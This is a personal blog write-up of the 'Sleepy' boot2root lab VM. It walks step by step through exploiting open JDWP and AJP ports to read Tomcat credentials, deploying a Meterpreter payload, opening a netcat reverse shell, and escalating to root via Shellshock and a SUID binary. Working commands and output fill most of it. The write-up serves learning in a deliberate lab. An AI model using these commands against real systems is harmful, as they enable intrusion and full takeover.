/dev/random: Sleepy

Looks like I’ve got time to write up another recent VM challenge before the memory fades. This time, it’s boot2root challenge Sleepy by Sagi-.

I really like this one because it took me back to my University days of Java development. Then I hated it because it took me back to doing acrobatics with I/O readers, buffers, streams, etc. the Java way. Then when I completed it I loved it.

On with it then!

Initial scanning

Starting off with a full TCP SYN scan produce three open ports.

root@worry64:~/work/sleepy# nmap -T4 -p-

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-06 22:38 BST
Stats: 0:07:49 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 75.10% done; ETC: 22:49 (0:02:35 remaining)
Nmap scan report for
Host is up (0.00040s latency).
Not shown: 65532 filtered ports
21/tcp   open  ftp
8009/tcp open  ajp13
9001/tcp open  tor-orport
MAC Address: 08:00:27:79:0F:C3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 610.26 seconds

TCP 21 is FTP, and it allows anonymous login:

root@worry64:~/work/sleepy# ftp
Connected to
220 ZzZZzZzz FTP
Name ( anonymous
331 Please specify the password.
Password: me@electricworry.net
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        1002           23 Jun 19 00:03 pub
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        1002           23 Jun 19 00:03 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1002     1002       120456 Jun 18 21:40 sleepy.png
226 Directory send OK.
ftp> get sleepy.png
local: sleepy.png remote: sleepy.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for sleepy.png (120456 bytes).
226 Transfer complete.
120456 bytes received in 0.00 secs (42.3271 MB/s)
ftp> quit
221 Goodbye.

Anonymous is rightly jailed and there’s only an image to download:


I thought that the image might hold some essential information or clues, but I wasn’t able to find any. Not sure if it’s a motif or a red herring.

root@worry64:~/work/sleepy# exiftool sleepy.png
ExifTool Version Number         : 9.74
File Name                       : sleepy.png
Directory                       : .
File Size                       : 118 kB
File Modification Date/Time     : 2015:10:06 23:20:15+01:00
File Access Date/Time           : 2015:10:06 23:20:44+01:00
File Inode Change Date/Time     : 2015:10:06 23:20:15+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
MIME Type                       : image/png
Image Width                     : 438
Image Height                    : 246
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Significant Bits                : 8 8 8 8
Software                        : gnome-screenshot
Image Size                      : 438x246

Assuming FTP’s a red herring, attention turns to the other two open ports. Running a service scan on the ports might confirm what protocols they’re offering:

root@worry64:~/work/sleepy# nmap -p8009,9001,80 -T4 -n -A

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-07 08:01 BST
Nmap scan report for
Host is up (0.00059s latency).
80/tcp   filtered http
8009/tcp open     ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open     jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 08:00:27:79:0F:C3 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

1   0.59 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.93 seconds

So with ajp13 confirmed as Apache Jserv, I guess we’re looking at something Tomcat. Probably my first thing to start work on.

At this stage I had never heard about Java Debug Wire Protocol, but a quick search tells me it’s a remote Java debugger.  This should be great. I still like working with Java, so if I get to play around with a debugger I’ve never seen that’s cool.

Dealing strictly with Apache Jserv first, however…


As AJP has accidentally been left open to the world, it might be possible to exploit the system, for example by injecting malicious code to the server. In order to control it, though, I need access to some Tomcat management interface to test it.

Exploiting an open AJP is pretty well documented by others so I’ll not go into to much commentary on it. I needed to set up Apache on my machine, and add the Apahce jk modules. Then configuring jk to forward requests – not to my local server, but to the victim – it should be possible to try and get management access.

root@worry64:~/work/sleepy# apt-get install libapache2-mod-jk
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  libapache-mod-jk-doc tomcat8
The following NEW packages will be installed:
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 154 kB of archives.
After this operation, 411 kB of additional disk space will be used.
Get:1 http://security.kali.org/kali-security/ sana/updates/main libapache2-mod-jk amd64 1:1.2.37-4+deb8u1 [154 kB]
Fetched 154 kB in 10s (14.6 kB/s)
Selecting previously unselected package libapache2-mod-jk.
(Reading database ... 335630 files and directories currently installed.)
Preparing to unpack .../libapache2-mod-jk_1%3a1.2.37-4+deb8u1_amd64.deb ...
Unpacking libapache2-mod-jk (1:1.2.37-4+deb8u1) ...
Setting up libapache2-mod-jk (1:1.2.37-4+deb8u1) ...
apache2_invoke: Enable module jk
root@worry64:~/work/sleepy# apt-get install libapache-mod-jk-doc
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 167 kB of archives.
After this operation, 950 kB of additional disk space will be used.
Get:1 http://security.kali.org/kali-security/ sana/updates/main libapache-mod-jk-doc all 1:1.2.37-4+deb8u1 [167 kB]
Fetched 167 kB in 10s (15.8 kB/s)
Selecting previously unselected package libapache-mod-jk-doc.
(Reading database ... 335641 files and directories currently installed.)
Preparing to unpack .../libapache-mod-jk-doc_1%3a1.2.37-4+deb8u1_all.deb ...
Unpacking libapache-mod-jk-doc (1:1.2.37-4+deb8u1) ...
Setting up libapache-mod-jk-doc (1:1.2.37-4+deb8u1) ...

libapache2-mod-jk provides the following files:

root@worry64:~/work/sleepy# apt-file show libapache2-mod-jk
libapache2-mod-jk: /etc/apache2/mods-available/jk.conf
libapache2-mod-jk: /etc/apache2/mods-available/jk.load
libapache2-mod-jk: /etc/libapache2-mod-jk/httpd-jk.conf
libapache2-mod-jk: /etc/libapache2-mod-jk/workers.properties
libapache2-mod-jk: /usr/lib/apache2/modules/mod_jk.so
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/NEWS.Debian.gz
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/README.Debian
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/changelog.Debian.gz
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/copyright

The default Apache website needs to forward all requests to JK, and JK needs to be configured to forward requests to the victim.

JkWorkersFile /etc/libapache2-mod-jk/workers.properties
JkMount /* ajp13_worker

After restarting Apache, it’s possible to connect to http://localhost/ and see all of the Tomcat goodies including /manager/ and /host-manager/ on the victim. However, the passwords are not the defaults and attempting a few passwords didn’t prove successful.


Getting access is going to require viewing the administrative passwords – often stored in plaintext – from the server.

The Java debugger

The JDWP port appears to be controlled by the jdb command which provides a remote shell for control. It’s not a shell with the breadth of control that a terminal would provide – everything has to be done via Java execution – but hopefully with enough libraries exposed something can be conjured up.

The help is pretty good for jdb. Command classes outputs a list of all classes that are available to the running program, and classpath shows that we seem to be running Java 7…

root@worry64:~/work/sleepy# jdb -attach
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> classpath
base directory: /
classpath: [/home/sleepy]
bootclasspath: [/usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-, /usr/lib/jvm/java-1.7.0-openjdk-]
> classes
** classes list **

Above we’ve got a hell of a lot of Java standard library classes available, plus a class which is named without a long package name – luciddream. This is presumably the author’s work, and given the Sleepy theme, that’s a fair guess.

It’s unfortunately not possible to just execute arbitrary Java from the prompt:

> print (new java.lang.String("TEST"));
com.sun.tools.example.debug.expr.ParseException: Unable to create java.lang.String instance
 (new java.lang.String("TEST")); = null

Instead control of execution needs to be seized by the debugger. The main class has only one function other than main and the constructor:

> methods luciddream
** methods list **
luciddream <init>()
luciddream main(java.lang.String[])
luciddream snore()
java.lang.Object <init>()
java.lang.Object registerNatives()
java.lang.Object getClass()
java.lang.Object hashCode()
java.lang.Object equals(java.lang.Object)
java.lang.Object clone()
java.lang.Object toString()
java.lang.Object notify()
java.lang.Object notifyAll()
java.lang.Object wait(long)
java.lang.Object wait(long, int)
java.lang.Object wait()
java.lang.Object finalize()
java.lang.Object <clinit>()

Setting a breakpoint on snore() and waiting eventually gives us control and at that point we can execute any arbitrary Java code we want, using the available classes:

> stop in luciddream.snore
Set breakpoint luciddream.snore
> resume
All threads resumed.
Breakpoint hit: "thread=main", luciddream.snore(), line=19 bci=0

main[1] print (new java.lang.String("TEST"));
 (new java.lang.String("TEST")); = "TEST"

Great! So, with all of the java.io classes we can potentially exfiltrate file data from the victim, or possibly even inject data. Also with java.lang.Runtime we’ve got access to the current thread and can execute arbitrary commands.

The thing is, merely executing a command will merely return the object representing the new process, not the response to the command. For example, running whoami:

main[1] print new java.lang.Runtime().exec("whoami")
&nbsp;new java.lang.Runtime().exec("whoami") = "java.lang.UNIXProcess@22d809e3"

To actually get output from the command, some I/O acrobatics is required. Working with what we’ve got (and I probably am not doing it in the most efficient manner), we’ve got the following return values and methods to link up.

  • exec() returns an object of type Process, let’s call it p.
  • p.getInputStream() returns an object of type InputStream, i
  • Ultimately we’re looking to get a String, s, which can be output to the console
  • Out of the many readers available, BufferedReader, r, offers method readLine() which returns a String, s
  • A BufferedReader, r, can be instantiated with an InputStreamReader, ir
  • An InputSteamReader, ir, can be instantiated with an InputStream, i, which we got earlier

Got that? Good.

  • exec() gives us Process p
  • p.getInputStream() gives us InputStream i
  • new InputStreamReader(i) gives us InputStreamReader ir
  • new BufferedReader(ir) gives us BufferedReader r
  • r.readLine() gives us String s

Putting this into practice, we can attempt to run whoami again:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("whoami")).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("whoami")).getInputStream() ) ) ).readLine() = "sleepy"

Unfortunately things get a bit more complicated when the result of the command is multiple lines. We only get one call to readLine() on the BufferedReader, so only the first line of output can be retrieved. e.g. ls -la produces a weak result:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("ls -la")).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("ls -la")).getInputStream() ) ) ).readLine() = "total 40"

To get full output, line feeds need to be replaced with another string – e.g. by using awk ORS=’something’ – and in order to build more complicated commands with pipes and so on, we need a command processor, e.g. bash.


main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£ls -l | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£ls -l | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine() = "total 32%%%lrwxrwxrwx.  1 root root    7 Jan 15  2015 bin -> usr/bin%%%dr-xr-xr-x.  4 root root 4096 Jan 18  2015 boot%%%drwxr-xr-x. 19 root root 3020 Nov 11 06:45 dev%%%drwxr-xr-x. 82 root root 8192 Nov 11 06:44 etc%%%drwxr-xr-x.  2 root root    6 Jan 16  2015 ftp%%%drwxr-xr-x.  3 root root   19 Jun 19 04:50 home%%%lrwxrwxrwx.  1 root root    7 Jan 15  2015 lib -> usr/lib%%%lrwxrwxrwx.  1 root root    9 Jan 15  2015 lib64 -> usr/lib64%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 media%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 mnt%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 opt%%%dr-xr-xr-x. 95 root root    0 Nov 11 06:44 proc%%%dr-xr-x---.  3 root root 4096 Jun 19 00:52 root%%%drwxr-xr-x. 23 root root  720 Nov 11 06:45 run%%%lrwxrwxrwx.  1 root root    8 Jan 15  2015 sbin -> usr/sbin%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 srv%%%dr-xr-xr-x. 13 root root    0 Nov 11 06:44 sys%%%drwxrwxrwt.  9 root root 4096 Nov 11 08:05 tmp%%%drwxr-xr-x. 13 root root 4096 Jan 15  2015 usr%%%drwxr-xr-x. 21 root root 4096 Nov 11 06:44 var%%%"

Using this methos I did a search for files with tomcat in the name and got the following (edited) list:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£find / -iname '*tomcat*' | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£find / -iname '*tomcat*' | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine() = "
<snip />

Dumping this file gives us the passwords we require (again, edited for reading):

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£cat /etc/tomcat/tomcat-users.xml | awk '{print}' ORS='
' ").split("£") )).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£cat /etc/tomcat/tomcat-users.xml | awk '{print}' ORS='
' ").split("£") )).getInputStream() ) ) ).readLine() = "
<?xml version='1.0' encoding='utf-8'?>
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at


  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  See the License for the specific language governing permissions and
  limitations under the License.
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.
  NOTE:  The sample user and role entries below are wrapped in a comment
  and thus are ignored when reading this file. Do not forget to remove
  <!.. ..> that surrounds them.
  <role rolename="tomcat"/>
  <role rolename="role1"/>
 <!-- <user username="tomcat" password="tomcat" roles="tomcat,manager-gui,admin,manager-jmx,admin-gui,admin-script,manager,manager-script,manager-status"/> -->
  <user username="both" password="tomcat" roles="tomcat,role1"/>
  <user username="role1" password="tomcat" roles="role1"/>

<role rolename="admin"/>
 <role rolename="admin-gui"/>
 <role rolename="admin-script"/>
 <role rolename="manager"/>
<role rolename="manager-gui"/>
 <role rolename="manager-script"/>
<role rolename="manager-jmx"/>
 <role rolename="manager-status"/>
<!-- <user name="admin" password="adminadmin" roles="admin,manager,admin-gui,admin-script,manager-gui,manager-script,manager-jmx,manager-status" /> -->

<user username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" roles="tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status"/>





Exploiting Tomcat

Exploiting isn’t the right word here, as we own Tomcat now. We can easily get control as the Tomcat user with Metasploit and the credentials. (Remember that the rhost/target is our own machine as we’re attacking the victim through our Apache server:

root@worry64:~/work/sleepy# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|`.""'.
  II     6.     .P  :  .' / |  `.  :
  II     'T;. .;P'  '.'  /  |    `.'
  II      'T; ;P'    `. /   |    .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.4-2015090201                   ]
+ -- --=[ 1476 exploits - 852 auxiliary - 239 post        ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search tomcat

Matching Modules

   Name                                                         Disclosure Date  Rank       Description
   ----                                                         ---------------  ----       -----------
   auxiliary/admin/http/tomcat_administration                                    normal     Tomcat Administration Tool Default Access
   auxiliary/admin/http/tomcat_utf8_traversal                                    normal     Tomcat UTF-8 Directory Traversal Vulnerability
   auxiliary/admin/http/trendmicro_dlp_traversal                                 normal     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   auxiliary/dos/http/apache_commons_fileupload_dos             2014-02-06       normal     Apache Commons FileUpload and Apache Tomcat DoS
   auxiliary/dos/http/apache_tomcat_transfer_encoding           2010-07-09       normal     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   auxiliary/dos/http/hashcollision_dos                         2011-12-28       normal     Hashtable Collisions
   auxiliary/scanner/http/tomcat_enum                                            normal     Apache Tomcat User Enumeration
   auxiliary/scanner/http/tomcat_mgr_login                                       normal     Tomcat Application Manager Login Utility
   exploit/multi/http/struts_code_exec_classloader              2014-03-06       manual     Apache Struts ClassLoader Manipulation Remote Code Execution
   exploit/multi/http/struts_default_action_mapper              2013-07-02       excellent  Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
   exploit/multi/http/struts_dev_mode                           2012-01-06       excellent  Apache Struts 2 Developer Mode OGNL Execution
   exploit/multi/http/tomcat_mgr_deploy                         2009-11-09       excellent  Apache Tomcat Manager Application Deployer Authenticated Code Execution
   exploit/multi/http/tomcat_mgr_upload                         2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
   exploit/multi/http/zenworks_configuration_management_upload  2015-04-07       excellent  Novell ZENworks Configuration Management Arbitrary File Upload
   post/windows/gather/enum_tomcat                                               normal     Windows Gather Apache Tomcat Enumeration

msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   USERNAME                    no        The username to authenticate as
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Java Universal

msf exploit(tomcat_mgr_upload) > set rhost
rhost =>
msf exploit(tomcat_mgr_upload) > set username sl33py
username => sl33py
msf exploit(tomcat_mgr_upload) > set password Gu3SSmYStR0NgPa$sw0rD!
password => Gu3SSmYStR0NgPa$sw0rD!
msf exploit(tomcat_mgr_upload) > exploit

[-] Exploit aborted due to failure: not-found: The target server fingerprint "Apache/2.4.10 (Debian)" does not match "(?-mix:Apache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this check.
msf exploit(tomcat_mgr_upload) > set FingerprintCheck false
FingerprintCheck => false
msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse handler on
[*] - Retrieving session ID and CSRF token...
[*] - Uploading and deploying MEaW2kAa...
[*] - Executing MEaW2kAa...
[*] Sending stage (45879 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-10-07 22:34:05 +0100
[*] - Undeploying MEaW2kAa ...

meterpreter > shell
Process 1 created.
Channel 1 created.
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
python -c 'import pty; pty.spawn("/bin/bash");'
bash-4.2$ pwd

We’ve not got a reasonable user shell on the system.

Privilege escalation

It’s getting quite late and I don’t want to make an already verbose walkthrough too much longer. In summary the following items were found in further investigation and are able to lead to privilege escalation.

First of all the machine is vulnerable to shellshock:

bash-4.2$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test

This may seem counter intuitive when we already have a shell, but it will come in essential later.

Furthermore there is an executable /usr/bin/nightmare that has SUID bit set and is owned by root. Since this runs as root, if we can get something arbitrary to run from this, then we can gain access as root.

I found the Meterpreter session to be extremely unstable for what happens next – I kept getting disconnected – so I uploaded nc to the victim and opened a reverse shell back to my machine:

msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse handler on
[*] - Retrieving session ID and CSRF token...
[*] - Uploading and deploying UA5ltXVBIK6GofKv622FM95I8...
[*] - Executing UA5ltXVBIK6GofKv622FM95I8...
[*] Sending stage (45879 bytes) to
[*] Meterpreter session 6 opened ( -> at 2015-11-11 14:20:22 +0000
[*] - Undeploying UA5ltXVBIK6GofKv622FM95I8 ...

meterpreter > upload /bin/nc /tmp/nc
[*] uploading  : /bin/nc -> /tmp/nc
[*] uploaded   : /bin/nc -> /tmp/nc
meterpreter > shell
Process 2 created.
Channel 4 created.
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
chmod 755 /tmp/nc
/tmp/nc -e /usr/bin/bash -nv 5555
(UNKNOWN) [] 5555 (personal-agent) open

And locally on my machine we can get a decent interactive shell:

root@worry64:~# ncat -nlvp 5555
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0

nightmare needs some better terminal emulation configured, so this can be set up by setting environment variable TERM to ‘linux’ and using Python to spawn a proper tty. (FYI, to enter Ctrl-C in the terminal enter Ctrl-V first; this allows the Ctrl-C to be sent through to the remote host’s control instead of killing the Meterpreter session.)

Here’s what happens when /usr/bin/nightmare is executed normally:

Decompiling nightmare with Hopper, it’s easy to see what it’s doing. main() runs a loop (sub_4008d0()) which repeatedly calls fire(), which executes the command /usr/bin/aafire which is what’s responsible for animating the ASCII-art fire. The option to quit the program at the y/n prompt is ‘broken’ but by pressing Ctrl-C we enter sigHandler() which calls train(), which executes /usr/bin/sl – the executable responsible for the ASCII-art train. However, crucially this call sets the real/effective/saved UIDs and GIDs to root preventing a reduction in privileges if we can explioit Shellshock.

function main {
    memset(var_A0, 0x0, 0x98);
    sigaction(0x2, 0x40081f, 0x0);
    sigaction(0xf, 0x40081f, 0x0);
    if (open(/dev/tty, 0x2) != 0xffffffff) {
            rax = sub_4008d0();
    else {
            puts([-] error: no tty present);
            rax = 0x0;
    return rax;

function fire {

function sub_4008d0 {

    do {
            printf([+] Again [y/n]? );
            *(int8_t *)(rbp + 0xfffffffffffffffb) = getchar();
            if (*(int8_t *)(rbp + 0xfffffffffffffffb) != 0xa) {
            if ((*(int8_t *)(rbp + 0xfffffffffffffffb) != 0x79) && (*(int8_t *)(rbp + 0xfffffffffffffffb) != 0x59)) {
    } while (true);
    if ((*(int8_t *)(rbp + 0xfffffffffffffffb) == 0x6e) || (*(int8_t *)(rbp + 0xfffffffffffffffb) == 0x4e)) {
            puts(Oops.. 'n' is broken);
    goto sub_4008d0;

function sigHandler {
    rax = exit(0x0);
    return rax;

function train {
    setresuid(0x0, 0x0, 0x0);
    setresgid(0x0, 0x0, 0x0);
    rax = system(/usr/bin/sl -al);
    return rax;

After finding a method to exploit that I hadn’t seen before, it was possible to get a root shell and get the flag.

root@worry64:~# ncat -nlvp 5555
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
export TERM=linux
python -c "import pty; pty.spawn('/bin/bash');"
bash-4.2$ env /usr/bin/sl='() { /bin/bash; }' bash -c /usr/bin/nightmare
<snip animations />
[+] Again [y/n]? ^C
bash-4.2# id
uid=0(root) gid=0(root) groups=0(root),91(tomcat) context=system_u:system_r:tomcat_t:s0
bash-4.2# cd /root
cd /root
bash-4.2# ls -l
ls -l
total 16
-r--------. 1 root root 14892 Jul 14 14:25 flag.txt
bash-4.2# cat flag.txt
cat flag.txt
Well done!

Here's your flag: 3eb030c6ab099b0a355712fe38d59ffb

Ascii Art: Mark Van Hooren
Doc    .;;;;.
    ;!!!!!!!!!!>                        .,;;,.
   ,!!!!!!!!!!!!!;            ,;>   ;;!!!!!!!!!>;
   !!!!!!!!!!!!!!'       ,;<!!!' ,<!!!'``.,,,. ``<;
  <!!!!!!!!!!!!(.,;!',;;!!!!!!  <!!!' ,c$$$$$$$c, `!
  !!!!!!!!!!!!!!!!!;!!!!!!!!' ;!!! .r"',?$$$$$".,  `!
  !!!!!!!!!!!!!!!!!!!!!!!!!'.;!!' z$.J"..`$$$$c"..  '
  !!!!!!!!!!!!!!!!!!!!!!!!!<!!! .J$$P c$$$$$$$$c$$$..
   !!!!!!!!!! !!!!!!!!!!!!!!! z$$$$$$$$$P  `$$$F  ,$$
   `!!!!!!!! <!!!!!!!!!!!!!!'<$$$$$$$$$" c <$$P z ?$$
    `!!!!!! ;!!!!!!!!!!!!!' .$$$$$$$$$F J$ <$$ J$F $$F
     `!!!!  !!!!!!!!  !!'   J$$$$$$$$$   ` J$$   ".?"" ..
      `<!! .!!!!!!!  >'  ."<$$$$$P"" ..   <$$$    " .r JF"
        `!  !!!!!!  ' .n= ,,""?$"  z$$$c, $P".,cccc, ".`?$$
            <!!!' .xnP" z$$$$$cc  J$$$$$$.==?$$$$$$$$ $h.
             `'.nJMP",c$$$$$$$$$  ?$$$$$$ ,ccc$$$$$$$"???"..)Mbnx.
           .-nMMMM" z$$$$$$P"" "   "???" -$$$$$$$$$P"  -c$$$ 4MMMMn.
            uMMMMM <$$$$$$$J$$$c  "?ccc$$c,""""""""  z$h$$$P JMMMMMC`
          .MMMMMMM `$$$$$$$$$$$$h   `??$$$$$cc,,r= .J$$$$$" .MMMMMMM
         uMMMMMMMMx ?$$$$$$$$$"$$. .    ""???""  /??$$??" .nMMMMMMMM
         MMMMMMMMMM. "?$$$$$$$,`?$.`:: .      ,-" -""  .xJMMMMMMMMMM
         MP.MMMMMMMMb.. `""""""  ?$c `-``  ,-' .,.xnmMMMMMMMMMMMMP""
                                   `"""=     ""444444L

  <!!!!!!!!!!!!!!!!!>.     .,.   ..;;;;;;;;..
  !!!!!!!!!!!!!!!!!'',.  ;<'' ;;!!''```,.```'!;
  !!!!!!!!!!!!!!!!!;<!,;!' ;;!!'`.,cc$$$$$c= `''
  `!!!!!!!!!!!!!!!!!!!!!' ;!!'  -???"?$$$$F,bJmb '!
  `!!!!!!!!!!!!!!!!!!!!' !!!'  ,n4Mnxr`$$F PP"""4 '
   <!!!'!!!!!!!!!!!!!! ;!!!   `4MMPPPM $$c ,c$$$,. '
   `!! !!!!!!!!!!!!!!' !!' J$ J"'.,.,,.$$$$$$$$$$$L
    `',!!!!!!!!!!!!!! !!! J$$  J$$$$$$$$$$$??"?$$$$F
      !!!!!!!!!!!!!!!<!! J$$$$$$$F ? $$$$$$F   $$$$h
     .!'!!!!!!!!!!!!!!! <$$$$$$$$  . ?$$$$P ch.?$$$$
      ' !!!!!!!!!!!''!> ?$$$$$$$F,$$$ "$$$F<$$$.$$$$
       ;!!!!!!!!!!' <! x $$$$$$$'J$$$, $$$,` `?,$$$$  -.
       !!!!!!!!!!' !!' M $$$$$$$ " `"? $$$L    `,c$$$L   ' =nmn.
       !!!!!!!!! ;!!'.JP $$P""""h      $$$$=   """?$$$$$$cc, "MM.
       !!!!!!!! <!'  x" c$$P".,.,,.   J$$C zcd$$$$, $$$$$$$$$ MMMMn.
        !!!!!' <' ,nP" J$$$cd$$$$$$$hr`""""$$$$$$$'  ,c,$$$$$'MMMMMb
        `!!!  `.xn" ,c$$$$$$$$$$$$$$$P"<$$$$$$$$" ,-z$$$$$$$" MMMMMr
         !'  nJM" c$$$$$$$$??????"""",c `"""""' ,='c$$$$$$" .JMMMM4M
          xnMMM <$$$$$$$$" ,.  =cccd$$$$hcccccc"',$$$$$P" .nMMMMMM
        ,=)MMM>.$$$$$$$$'cd$$hc    """????"""" z-$P""  ..nMMMMMMMP
        ,nMMMM.<$$$$$$$$$$$$$$$h. ..          f   ..xnmMMMMMMMMM)
        JMMMMMb "$$$$$$$$$$$$$$$$.`::.`:..   ; .nJMMMMMMMMMMMMM =
       MMMMMMMMn  ?$$$$$$$$$h,."?$L. `:::: ,J .MMMMMMMMMMMMMMP
      ,4MMMMMMMMbx. `""""""""""  `"?hc,..,rP".MMMMMMMMMMMMMP"
      ' )MMMMMMMMMMbnmnnmnmnmMMbnnx.. """" ..JMMMMMMMMM""P"
                 ""F J"44MMMMM""""""""

Bashful                 .,,;;;,,. '!!!!!!!!;;;.
                     .;<!!!!!!!!!!;.``<!!!!!!!!!;; `'>;;;;;;;;;,.
                    ;!!''',,,,_```<!!; '!!!!!!!!!!!;.`!!!!!!!!!!!!;;,
                  ;!' ,c$$$????$cc `<!!;`!!!!!!!!!!!!!!!!!!!!!!!!!!!!;;
                 ,''-""$$$$.??cC$$$c '!!,`!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>.
                ,!,"-"'$$$F . `?$$$$h '!!.`<!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.
                ' P zcd$$$c<$$c,"$$$$h.'!!!!!!!!!!!!!!!!!!<!!!!!!!!!!!!!!!
